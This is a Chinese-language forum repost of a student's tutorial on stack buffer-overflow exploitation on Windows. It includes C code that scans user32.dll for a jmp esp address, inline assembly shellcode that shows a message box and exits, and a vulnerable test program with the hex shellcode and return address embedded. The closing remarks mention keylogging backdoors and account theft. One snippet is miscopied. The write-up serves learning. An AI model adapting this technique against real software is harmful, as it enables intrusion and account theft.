12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 357|回复: 0

缓冲区溢出的利用-解密盗号软件原理(二)

[复制链接]
发表于 2022-1-28 21:34:41 | 显示全部楼层 |阅读模式
前言

Hello,各位广大的网友们好。笔者为大二在校大学生,软件学院。为践行费曼学习法,并在前辈的建议下开始写自己的一系列博客,之前用一篇文章大概的诠释了缓冲区溢出的基本原理,本文将以此为基础举行缓冲区溢出利用的研究。
基于缓冲区溢出原理:传送门:缓冲区溢出的基本原理(一).
实验前提


  • 实验环境 :windows 10,Windows XP;
  • 使用工具 :IDA pro , OllyDBG,vc6.0;
  • 目的软件 :test3.exe,get_jmp.exe(由自己编写)
所需基础

基础汇编指令
缓冲区溢出的原理
Win32 Api调用
dll动态链接库
数据布局(仅堆栈)
纵然上面基础缺失,本文任有大量的解释及解释帮助理解。
缓冲区溢出原理简单介绍

传送门:缓冲区溢出的基本原理(一).
一句话概括: 由于步伐的运行机制,假设利用strcpy()函数举行字符串赋值,因
界说字符串长度及传入字符串长度不一致(过长),从而占用了ebp(栈底)和call(函数)返回地址的栈区。基于此可利用修改函数调用结束后的返回地址,从而使盘算机绝不犹豫的执行由我们编写的代码(shellcode)
概要

实验依据:利用缓冲区溢出基本原理,64位的应用步伐会加载System32目录下的kernel32.dll,user32.dll,和ntdll.dll。函数执行完esp(栈顶)指针+4的通用性。
实验思绪: 通过利用字符串传值方式修改函数(call)返回地址,返回地址采用user32.dll系统领空中(jmp esp)从而执行由我们编写的shellcode代码段
实验焦点:

  • 函数执行到返回地址时:esp+4具有大部分通用性
  • 64位的应用步伐会加载System32目录下的user32.dll
  • 利用use32.dll段中的jmp esp指令跳转至shellcodeShellCode介绍
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定毛病的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出步伐和蠕虫病毒的焦点,提到它自然就会和毛病联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。
实验开始

test3.exe
#include  //引入头文件#include#includechar name[] = "zhemuzhemumuXXXX";  //界说全局变量int main()            //返回值 主函数main(){        LoadLibrary("user32.dll");                char buffer[8];   //开发8个字节的空间用来存储变量name        strcpy(buffer,name);  //内置函数(作用):将变量name内容赋值给buffer变量        printf("%s\n",buffer);  //输出在控制台        getchar();               //方便观察 作用:等待用户输入按键        return 0;                //返回值}
text3.c中 ,变量name赋值给buffer后并引起缓冲区溢出,其中mumu占用ebp栈底数据,而XXXX为返回的地址。
get_jmp.exe中C代码如下:
#include#include#includeint main(){        BYTE* ptr;        int position;        HINSTANCE handle;        BOOL done_flag = FALSE;        handle = LoadLibrary("user32.dll");        if (!handle)        {                printf("Load Dll is fault");                exit(0);        }        ptr = (BYTE*)handle;        for (position = 0; !done_flag; position++)        {                try {                        if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)                        {                                int address = (int)ptr + position;                                printf("OPCODE be founded at 0x%x\n", address);                        }                }                catch (...)                {                        int address = (int)ptr + position;                        printf("END OF 0x%x\n", address);                        done_flag = true;                }        }        getchar();        return 0;}
获取ntdll.dll中 [jmp esp] 代码指令的地址。注明:其中0xFF与0xE4为Jmp esp对应的机器码
get_jmp.exe的运行结果


红框所选的地址均为jmp esp指令所在的地址,打开OD举行验证。
OD载入test3.exe步伐,举行验证

由上图:0x74cab5e9地址为jmp esp指令(get_jmp.exe探求到的任意一处地址都可以用),可用作为函数调用后返回地址,返回该地址后,盘算机会绝不犹豫的执行jmp esp指令,然而esp地址具有通用性(大多数情况下稳定),利用此特性植入我们的ShellCode
探求需要植入API函数调用的地址
1.MessageBoxA()  //方便我们直观检察是否注入乐成
2.ExitProcess()   //防止崩溃 关闭进程
3.编写下面代码获取dll中两处API(第一和第二点)所在的地址
获取MessageBoxA() 的地址代码
#include#includetypedef void (*MYPROC)(LPTSTR);int main(){        HINSTANCE LibHandle;        MYPROC ProcAdd;        LibHandle = LoadLibrary("user32.dll");        //获取到user32.dll所在地址        printf("user32.dll = 0x%x\n", LibHandle);        //获取MessageBox函数所在地址        ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");        printf("MessageBoxA = 0x%x\n", ProcAdd);        getchar();        return 0;}获取ExitProcess() 的地址代码
#include#includetypedef void (*MYPROC)(LPTSTR);int main(){        HINSTANCE LibHandle;        MYPROC ProcAdd;        LibHandle = LoadLibrary("kernel32.dll");        //获取到user32.dll所在地址        printf("user32.dll = 0x%x\n", LibHandle);        //获取MessageBox函数所在地址        ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");        printf("MessageBoxA = 0x%x\n", ProcAdd);        getchar();        return 0;}实验结果如下图并分别记录


开始ShellCode汇编代码编写

记录所需要用到的地址以及Message所需要用到的字符串参数
使用VC6.0,编写内联代码
int main(){        __asm{                sub esp,0x50          //提拔堆栈                xor ebx,ebx                //异或ebx为0,可用于分割字符                push ebx                //push 0x5761726E    //字符串Warn 由于小端序存储需要倒过来                push 0x6E726157     //字符串:“warn”                mov eax,esp                push 0x146E6F69  //字符串zhemu_injestion 由于小端序存储需要倒过来                push 0x7473656A                push 0x6E695F75                push 0x6D65687A                mov ecx,esp                push ebx                push eax                push ecx                push ebx                mov eax,0x74baf8b0 //间接调用                call eax                push ebx                mov eax,0x77803be0                call eax        }return 0;        }
通过VC6.0自带工具转换为机器码。

从test3.c中植入代码
植入ShellCode后的test3.c:
#include  //引入头文件#include#includechar name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" //占领八个位置                          "\x41\x41\x41\x41"                 //占领ebp位置                          "\x79\x5b\xe3\x77"                 //jmp esp地址 返回地址                          "\x83\xEC\x50"                          "\x33\xDB"                          "\x53"                          "\x68\x57\x61\x72\x6E"                          "\x8B\xC4"                          "\x68\x69\x6F\x6E\x14"                                                  "\x68\x6A\x65\x73\x74"                          "\x68\x75\x5F\x69\x6E"                          "\x68\x7A\x68\x65\x6D"                          "\x8B\xCC"                          "\x53"                          "\x50"                          "\x51"                          "\x53"                          "\xB8\xEA\x07\xD5\x77"                          "\xFF\xD0"                          "\x53"                          "\xB8\x0A\xD2\x81\x7C"                          "\xFF\xD0"                          ;  int main()            //返回值 主函数main(){        char buffer[8];   //开发8个字节的空间用来存储变量name        LoadLibrary("user32.dll");        strcpy(buffer,name);  //内置函数(作用):将变量name内容赋值给buffer变量        printf("%s\n",buffer);  //输出在控制台        getchar();               //方便观察 作用:等待用户输入按键        return 0;                //返回值}
大功告成,这时候将jmp esp的地址作为返回地址,并在esp地址中编写自己想要的ShellCode代码段
OK,到此为止我们了解了一个ShellCode的基本过程,直接运行text3.exe分析,校验ShellCode是否执行乐成?
对text3.exe举行逆向分析。

步骤不多累赘与text1.exe(之前的文章)完全一摸一样,唯一不一样在于栈区返回地址被溢出(占用)

由上图可知:
1.原本改返回值:0019FF44地址被占用 且指向我们想要的地址(jmp esp)
F8步过

由上图可知:
1.原本改返回值:0019FF44地址被占用 且指向我们想要的地址(jmp esp)
2.注意红框的内容,esp值为0019FF48,具有通用性
检察0019FF48地址的内容

内容为我们自己编写的ShellCode代码段 ,我们继续F8步过

结果并没有直接执行我们编写好的ShellCode代码段,而是出现了一个错误。且错误堆栈反馈如下

颠末大量的谷歌以及百度,鉴戒论坛的博主回答如下:

出处由右下角,屏蔽不必要的广告。

  • Windows下可能取消ExitProcess()该函数导致错误
  • 此处留个坑,把《Windows焦点编程》原理啃完之后修改此文章
使用虚拟机XP环境举行研究,当然地址有变化如上述形貌步骤一样。并乐成运行。

至此,大家应该已经了解了缓冲区溢出毛病的原理,它就是由于我们输入了过长的字符,而缓冲区自己又没有有效的验证机制,导致过长的字符将返回地址覆盖掉了,利用jmp esp跳转至我们自己编写的代码。
那么依据这个原理,我们的系统就会绝不犹豫地跳到该地址处去执行指令。因此,如利用缓冲区溢出的毛病,我们就可以构造出任何我们想要做的事,这样一来,我们就通过步伐的毛病,让盘算机执行了我们自己编写的步伐。
本文其中例子与实例任有不足之处,笔者才学疏浅,如有错误之处接待指出。任有几个坑留到日后本领提拔后填,以下举行总结!
知识点:

  • ShellCode缓冲区溢出利用
  • Win32 Api调用
  • 小端序,汇编参数从右向左
  • Jmp esp通用性
  • Dll相关知识
关键词:缓冲区溢出,Win32 Api,dll调用
留下思索:
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定毛病的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出步伐和蠕虫病毒的焦点,提到它自然就会和毛病联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。
除此之外:shellCode还可以做任何事变如:

  • 恶意破解软件后加入自己收费验证。
  • 调用获取键盘或鼠标输入函数记录等等留后门(PUBG黑号盗号)
  • 等等...
本篇为在已知源码中举行ShellCode注入,然而大部分软件并不是开源,需要逆向工程师举行大量的分析以及经验从而举行无源码ShellCode注入,下篇会说明如何编写通用ShellCode以及无源码的情况下注入!

来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-20 10:22 , Processed in 0.093750 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表